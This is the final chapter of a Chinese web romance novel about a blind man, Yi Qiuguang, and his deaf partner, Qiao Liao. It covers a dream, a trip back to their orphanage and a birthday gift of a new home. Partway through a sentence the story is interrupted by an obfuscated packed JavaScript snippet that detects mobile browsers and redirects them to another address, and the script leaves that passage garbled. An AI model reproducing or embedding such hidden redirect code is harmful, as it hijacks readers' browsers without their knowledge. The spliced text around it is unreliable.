现在这个季节,风里还是有点暖意的,出租车的车窗没关上,风直往车里灌,易秋光偏头感受着风,小声哼着歌,哼着哼着还在怀里那个大袋子里摸了摸,然后拿出一瓶酸奶。 他递给乔辽一瓶,乔辽说:“你喝吧。” “想什么呢,”易秋光偏头望他,“我是让你帮我打开。” “哦哦哦。”乔辽接过酸奶,打开瓶盖,易秋光那边刚听见声音就伸出手了。 这人接过后喝了一口,然后又递给乔辽:“好了,你喝吧。” “好。”乔辽两口喝完。 快要到家的时候,易秋光又伸出手:“再给我喝一口。” 全进肚子里了,只剩个空瓶了。 乔辽放轻动作,从怀里那个袋子里拿出一瓶酸奶,慢慢拧开。 在下车后,他把这瓶酸奶递给了易秋光。 这人拿上后,喝了一口,然后问乔辽:“你刚才没喝吗,怎么还是满的?” “喝了,”乔辽说,“好喝。” “你知道吗,这瓶酸奶和我刚才给你那瓶口味不一样,”易秋光“啧”了声,“我是看不见,不是没味觉。” 乔辽不吭声了,下一秒,易秋光笑了起来。 “逗你真的太有意思了,”易秋光又喝了一口酸奶,然后收起盲杖,把防脱绳套上手腕,他牵起乔辽的手,慢慢往家的方向走,“真好啊,我运气真好,能遇到你,除了你,应该没人能受得了我这样,我这样的人,说出去多招人烦啊,也只有你,一直说我好可爱。” “可我说的都是实话啊,你真的很可爱,”乔辽往他边上凑了凑,和这人碰了碰肩膀,“你在我心里是最好最好的,宇宙第一好。” 这种话是怎么听都听不够的,易秋光每次听见都会开心地哼起歌,现在也是这样,这人一路哼歌,回家后还哼歌,洗澡也哼歌,躺在床上的时候这人不哼了。 因为他开始听歌了。 “好听吗?”这人望向乔辽的方向问道。 “好听,”乔辽坐在桌前码字,他现在恨不得把键盘啃了,“这是什么歌?” “广播剧的主题曲,”易秋光把手机声音调大了些,“我也觉得挺好听的。” 乔辽停下轻敲键盘的动作,回头去看易秋光。 这首歌也唱到了结尾,歌词里是这样写的。 当你牵住我的手,我看见风开始飞翔。 当你开口对我说,我听见爱意在生长。 看见你说,听见你讲。 爱无声,但伴我很长。 这天夜里,他们还是相拥入眠,乔辽还做了个梦,他已经有段时间没做过梦了,像这样幸福的梦,他也是第一次梦到。 这个梦的一开始,是乔辽在福利院里吃早饭。 他听见食堂里吵吵闹闹的,郭宝卓坐在他对面不停打着呵欠,一看就是没睡醒的样子,这人喝了一口牛奶,问他:“怎么没看见易秋光啊,他还没睡醒吗?” “不知道,”乔辽也喝了口牛奶,然后说道,“我等会给他带一瓶牛奶,然后再给他带两个包子。” “行,今天的煎饺也好吃,”郭宝卓问他,“要不要再给他带一份煎饺?” “不带了,”乔辽说,“他吃零食都管饱了。” 画面到这里就结束了,下一秒,他又站在操场上。 “乔辽。”突然有人喊了他一声。 乔辽扭头看过去,站在身边的人是易秋光。 这人看着他笑,然后眨了眨眼,易秋光说:“想什么呢?” 易秋光手里拿着一瓶可乐,他叹出一口气,抬手揉了揉乔辽的头发,又说道:“你头发上掉了片落叶。” “谢谢……”乔辽愣在那里,他问易秋光,“你看见我了?” “你在说什么乱七八糟的,”易秋光皱着眉,抬手在他脸上点了点,“这是你的眉毛,这是你的鼻子,这是眼睛,这是嘴巴,我当然看见你了啊。” 乔辽看着他,紧张地吞咽一口:“我……在你眼里是什么样?” “男的,人样,”易秋光瞥了他一眼,“你今天怎么了,怎么突然变得这么自恋。” 听完这句话,乔辽笑了笑,这种回答挺像是易秋光会说出来的。 “不是自恋,”乔辽说,“我就是想知道,我在你眼里到底是什么样子。” “你啊……”易秋光看着他笑起来,笑得露出了左边的那颗虎牙,“身材好,长得也好看,但比我还是差一点。” “你最帅,”乔辽揉了揉他的头发,“你是全宇宙最帅。” “那肯定的啊,”易秋光说完又顿了顿,接着说道,“前几天,老师给我看了几张照片,是我们还小的时候,拍的是我们两个在一起走路,穿得可厚了,老师说,我们两个是在同一天学会走路的,但你总爱挤着我走,你说你烦不烦人。” “不烦人,”乔辽说,“我就是喜欢挨着你走。” 易秋光“啧”了声,突然问他:“快高考了,你想过之后的事吗,是在洪城待着,还是去外面看看?” “都可以啊,”乔辽说,“在洪城也行,去外面看看也好,只要是和你在一起。” “你就这么离不开我啊,”易秋光想了想,说道,“去江城怎么样,我总觉得,我会在江城有一份很好的工作。” “会的,一定会的,”乔辽说,“那就约好了,一起去江城。” 飞鸟从他们头顶飞过,易秋光抬眼去看,乔辽偏着头,一直看着易秋光。 下一个眨眼后,画面又变了。 乔辽正在图书馆里面坐着,他已经没心情再去看手里那本书了,视线一直不停地往手机屏幕上望,终于,屏幕亮了一下,易秋光发来消息。 这人让乔辽出来,他已经在图书馆门口了。 乔辽立马收起手机,把书放了回去。 走出图书馆时,他第一眼看见的就是笑着站在门口的易秋光。 “等急了吧,”易秋光朝他伸出手,“今天事情多了点,刚忙完。” “不急,”乔辽牵住他的手,“想去哪里吃饭?” “吃火锅,”易秋光笑着说,“我馋这一口很久了。” 乔辽说了声“好”,易秋光牵着他下了一个长长的楼梯,然后带着他往火锅店走。 这一路上,乔辽一直都偏头看着这人,认真听着易秋光说话,有时候是工作上的事,还有时候,他会说哪个地方又开了一家新店,等有空的时候想去尝一尝。 “听我说了这么多,那你今天在图书馆过得怎么样,”易秋光说,“想查的那个资料找到了吗,现在应该不会卡文了吧。” “明天得再去一趟,”乔辽说,“还有些地方没弄明白。” 这句话刚说完,易秋光突然把他拉到怀里,语气着急地说道:“你看着点路行不行,有电瓶车过来你都没发现!” “好了好了,这不是有你吗,”乔辽现在老老实实看路了,“马上就到火锅店了,你可以开始报菜名了。” 易秋光清了清嗓子,立马开始一个接着一个报菜名。 到店里之后,乔辽点好了菜,又去火锅店旁边的奶茶店买了两杯奶茶,奶茶做得有点慢,主要是人太多了,人多也好,那就说明这家店的奶茶很好喝。 等乔辽提着两杯奶茶回到火锅店的时候,他碗里都已经堆满了。 易秋光笑着接过奶茶,然后指了指那只被堆满菜的碗:“快吃,吃完我再给你夹,锅里刚下的菜又要熟了。” “秋光哥哥真好啊,”乔辽坐下后,拿起筷子夹起一点喂进嘴里,“好吃哎,秋光哥哥夹的菜就是好吃。” 易秋光点点头,也学着他的样子说话:“你也真好啊,你买的奶茶最好喝了。” 梦的最后,是易秋光又给他夹了一筷子菜,这次,易秋光没把菜放进他碗里,而是直接喂给乔辽吃的。 易秋光说:“也不知道你在想什么,就跟傻了一样支着个脑袋一直盯着我,怎么,就这么喜欢我啊?” “嗯,”乔辽笑着看他,“我很爱你。” 再然后,就是乔辽猛地睁开眼,因为易秋光给了他一脚。 这人把手机递给乔辽,乔辽明白这人的意思,应该是让他把闹钟关了,再睡五分钟。 五分钟又五分钟。 最后他俩早饭都没来得及吃,一出门就往工作室赶。 走到半路的时候,易秋光又开始了每天一问:“你说,人能不能不上班啊,我想躺在家里,每个月还能拿工资。” “能吧,我也有个想法,”乔辽说,“我想让键盘连接我的大脑,闭上眼睛也能码字,你说这个想法能行吗?” 易秋光无奈地“哈哈”两声,接着拍了拍乔辽的脑袋:“能行,我相信你。” 像这样每天往工作室跑的日子,持续了好长一段时间,工作室发了广播剧预告之后,易秋光终于能休息两天了。 他问乔辽有没有什么地方想去,乔辽摇摇头说:“暂时没什么想去的地方。” 易秋光又问他:“那你忙吗,最近急着赶稿吗?” “还好,”乔辽说,“没什么特别急的,我也没开新文。” “那就回一趟洪城吧,”易秋光说,“好久没回去了,我想回去和老师聊聊天。” 只要是易秋光想做的事情,乔辽当然会答应。 回去待两天不用带什么东西,乔辽往行李箱里放了几件衣服,然后把备用电池放进去,充电仓和干燥盒也占不到什么位置,他正准备把行李箱关上,易秋光突然拉开床头柜抽屉,从里面拿出两盒套。 易秋光说:“把这个装进去,我们不住福利院,住酒店。” 乔辽接过那两个小盒子,说道:“带一盒就够了。” “两盒,”易秋光说,“一盒三只装,你一天我一天,正好两盒。” “好有道理,”乔辽乖乖把这两盒套放进行李箱,然后问他,“还有什么要带的吗,没有的话,我就把行李箱关上了。” “没了,”易秋光问他,“几点的票?” “晚上七点半的票,”乔辽说,“可以在家里吃了饭再走。” “不,我现在就要走,”易秋光说,“动车站旁边有个商场。” 这句话一出来,乔辽就明白了。 于是,他拖着行李箱,牵着易秋光出发了,目的地是动车站旁边的商场。 这家商场不大,也挺旧的,奶茶店就那么几家,吃的东西也没什么能挑的,于是,易秋光选了一个最不会出错的。 麦当劳。 易秋光喝着可乐吃着薯条,他把薯条蘸上番茄酱,然后靠近嘴边吹了一下,轻声唱着:“祝你生日快乐~祝你永远快乐~” 乔辽看着他这样子,觉得幸福得不得了。 “笑什么,”易秋光把薯条喂进嘴里,嚼了嚼吞下,“你准备怎么给我过生日?” “放心吧,准备得妥妥的,”乔辽往嘴里喂了一块鸡块,“你就等着吧。” “听着像挑衅,”易秋光说,“你好像是想和我打一架。” “想什么呢,”乔辽笑着说,“就是惊喜,你应该会喜欢的。” “应该?”易秋光想了想,说道,“听着怎么不像什么好事呢……” 怎么可能不是好事,乔辽反正觉得这事儿挺好的。 去洪城的一路上,易秋光一直靠在乔辽肩膀上睡觉,这段时间也确实辛苦,易秋光每天都在熬夜,乔辽看着都心疼得不行。 他帮易秋光拨了拨额前的头发,然后微偏着头,和这人靠着脑袋一起睡了一会儿。 快到洪城的时候易秋光醒了过来,这人拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140598|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手机开始订酒店,俩人出了动车站就直接去了酒店。 说实话,刚往酒店床上一坐,乔辽就开始紧张了,他以前回洪城找易秋光的时候,也是住的酒店,但那个时候只有他一个人,住着倒也没觉得奇怪。 今天这种感觉,挺不对劲的。 他觉得,自己好像是和易秋光网恋奔现了,坐在酒店里谁都不说话,好紧张,还有点兴奋。 “你怎么不说话?”易秋光用胳膊碰了碰他,“酒店里闹鬼啊?” “没,”乔辽说,“不习惯,总觉得换了个地方好陌生。” “等会儿你就不陌生了,”易秋光说,“去洗澡吧,洗好在床上等我。” 谁家好人一到酒店就开始忙活的! 是的,易秋光就是这样。 两盒还是带少了,乔辽估计着,明天还要去买。 买套这件事,其实也不用着急,只要在晚上回酒店之前买好就行,现在最重要的事,是他们要起个大早,去福利院。 这俩人去得也挺是时候的,老师一看见他们就连忙说道:“你俩来得正好。” “怎么了?”易秋光问道。 “你俩去帮我开个家长会,就是你们以前读的那个小学,”老师说,“我正愁走不开呢,你俩来得太是时候了。” 俩人问了班级之后就出了福利院,小学离这里不远,走过去正好,那两个需要开家长会的小孩儿是一个班的,开完家长会后,他们直接和那俩孩子一起回福利院就行。 走到学校门口的时候,易秋光还紧张起来了。 他说:“我没给别人开过家长会。” “我也没有,”乔辽说,“当家长什么感觉啊?” “不知道,”易秋光说,“等会儿就知道了。” 那俩孩子的座位挨在一起,乔辽和易秋光也就坐在一起,他们边上还一边坐着一个小孩儿。 易秋光边上那个孩子是个话痨,一直不停地和易秋光说话,乔辽边上那个就挺沉默了,估计是和乔辽不太熟悉,也不知道该说什么。 家长会开始后,乔辽也明白当家长是什么感觉了。 骄傲啊,那可太骄傲了。 这俩孩子的成绩好,老师表扬了好几次,乔辽脸上的笑就没下来过,易秋光也高兴地一直揉旁边小孩儿的头发。 家长会结束后,这俩人一人牵着一个小孩儿,往福利院的方向走。 “吃完午饭又要回学校吗?”易秋光偏头问那个被他牵着的小孩儿。 “是啊,”小孩儿说,“秋光哥哥,你这次回来待多久啊?” “只待两天,”易秋光说,“你们要乖乖的啊,我以后还会回来的。” 乔辽牵着的那个小孩儿一听见易秋光这么说,立马就把乔辽的手甩开了。 这孩子走到易秋光边上,说道:“我也要你牵。” 嘿,这小孩儿。 乔辽对这个孩子说:“我牵着你吧,秋光哥哥还要拿盲杖。” “我可以牵着他走,”小孩儿看了乔辽一眼,立马牵起易秋光的袖口晃了晃,“秋光哥哥,你牵着我吧。” 易秋光收起盲杖,把盲杖递给乔辽,然后对小孩儿说道:“来吧,秋光哥哥牵着,你要带着我好好走啊。” “一定的!”小孩儿现在高兴了。 乔辽就跟在他们边上走,也不知道是从什么时候开始的,他的步子又变得和现在的易秋光一样了,可能,这就是习惯。 他们两个人待在一起的时间太多,每天都待在一起的人,总是会变得越来越像对方。 他们一起在福利院吃了午饭,易秋光和老师聊了好一会儿,在老师去忙的时候,易秋光就坐在那里扒拉手机,乔辽往这人肩膀上一靠,说道:“我前段时间梦到你了,在梦里,我能听见,你也能看见。” “那很好啊,”易秋光收起手机问他,“我能看见的时候,眼睛是什么样?” “和你现在的眼睛没什么区别,”乔辽笑着说,“你的眼睛一直都很好看。” 他看着这人的眼睛,伸手在易秋光眼角处轻轻点了点。 易秋光突然开口说道:“你想不想试试看,我的世界是什么样?” “我试过,”乔辽说,“我以前会在家里闭着眼睛走路,但我每次都会磕着碰着。” 易秋光说:“那你今天再试试,拿着盲杖试。” 他带着乔辽走到一处空旷的地方,易秋光坐在花坛边。 易秋光把盲杖递给乔辽,握着这人的手,教他应该怎么用盲杖。 然后,易秋光说:“你走到远点的地方,闭着眼睛从盲道上走过来,走到我身边来,慢慢走,别急。” 乔辽往身后看了眼,说道:“好。” 睁眼走过去的时候,乔辽并不觉得很远,可当他站到盲道上,闭上眼后,心底就开始不踏实了。 路很远,什么都看不见,他唯一能够信赖的,就是手中的盲杖。 乔辽有时候会走偏,他越走越慢,甚至有些时候,他会站在原地,反复用盲杖去感受着周围,最后,他都开始怀疑自己脚下踩着的,到底是不是盲道。 也不知道这一路他走了多久,他只知道,易秋光伸手牵住了他,然后,他听见易秋光说:“你走到我身边来了。” 乔辽一瞬间就觉得很难过,他睁开眼,坐到易秋光身边,一言不发。 易秋光揉了揉他的头发,笑着问他:“能让我也试试看,你的世界是什么样吗?” “怎么试?”乔辽问。 “像这样,”易秋光握住他的双手,捂上自己的耳朵,“让我感受一下。” 易秋光的耳朵有些凉,捂了一会儿后就有点热了,易秋光说:“捂住耳朵还是不行,我能听见,就是声音有些闷闷的。” 他拿开乔辽的手,换成用两根手指堵住耳朵:“我自己来。” 易秋光坐在那儿沉默了一会儿,然后说:“你现在说句话我听听,声音小点。” 乔辽开口说了一句,易秋光没有回应,过了一会儿后,易秋光拿开手问他:“你说话了吗?” “说了。”乔辽说。 易秋光叹出一口气,说道:“嗯……听不见是挺难受的,就觉得,好像整个世界都和自己没联系了。” “你怎么不问问,我刚才说的什么。”乔辽牵起他的手,带着这人站起来。 易秋光问:“你刚才说的什么?” 今天本来是个阴天,但在此刻,太阳突然出来了,他们走进阳光里,感受着迎面吹来的,带着暖意的风。 乔辽把这人牵得更紧了些:“我刚才说,我爱你。” 我爱你,其实不用说出来。 爱意是看不见的,爱意只需要感受。 但我现在可以开口,我会想告诉你千千万万次,我爱你,易秋光。 易秋光生日那天,乔辽带着这人去了一个离工作室很近的小区,这个小区是新楼盘,乔辽带着他在小区里逛了一圈,然后走到别墅区停下。 “这是我送给你的礼物,小两层,带花园,房产证上写的是我们两个的名字,”乔辽捏了捏易秋光的手,继续说道,“上次你给了我一场婚宴,这次,我给你一个属于我们两个人的新家。” 易秋光对新家挺满意的,他牵着乔辽在家里走了一圈,嘴里还一直说着这里要放什么,那里要放什么,最后他说,想和乔辽一起拍张合照,摆在客厅里。 易秋光说,花园里要种花,那样就会有蝴蝶来,还会有小鸟过来停留,乔辽一直听着他说,也一直点头说“好”。 新家是新的开始,新家也是属于他们两个人的开始。 新家需要装修,易秋光也需要时间去适应新环境,但没关系,乔辽会把一切都安排好,他有足够的时间陪着易秋光,未来的每一天,他们都会在彼此身边。 在新的一年到来时,《看见你说》的广播剧上线了,乔辽也终于拿到了驾照,他买了辆新车,带着易秋光在江城逛了一圈。 最后,他把车停在江边,带着易秋光去江边公园里逛了逛。 春天就是这样,夜晚里都是春的味道。 路人从他们身边走过,说着今年的花也开得很好看。 乔辽牵着易秋光的手,走在小路上,两边的树上开满了花。 “闻到了吗?”易秋光问他。 乔辽明白他的意思。 于是,乔辽笑着说:“闻到了,花很香。” 易秋光“嗯”了声,他笑起来,露出了左边的那颗虎牙:“花很香,春天很好,你也在我身边,一切都好。” 身边有人走过,熟悉的音乐声传进他们耳朵里。 是广播剧的主题曲。 这首歌已经唱到最后了,歌词里唱着。 看见你说,听见你讲。 爱无声,但伴我很长。 大概是这人觉得这首歌好听,在这首歌结束后,他们听见,这首歌的前奏响了起来。 他们牵着彼此的手,在这首歌的前奏里,继续往前走。 (全文完)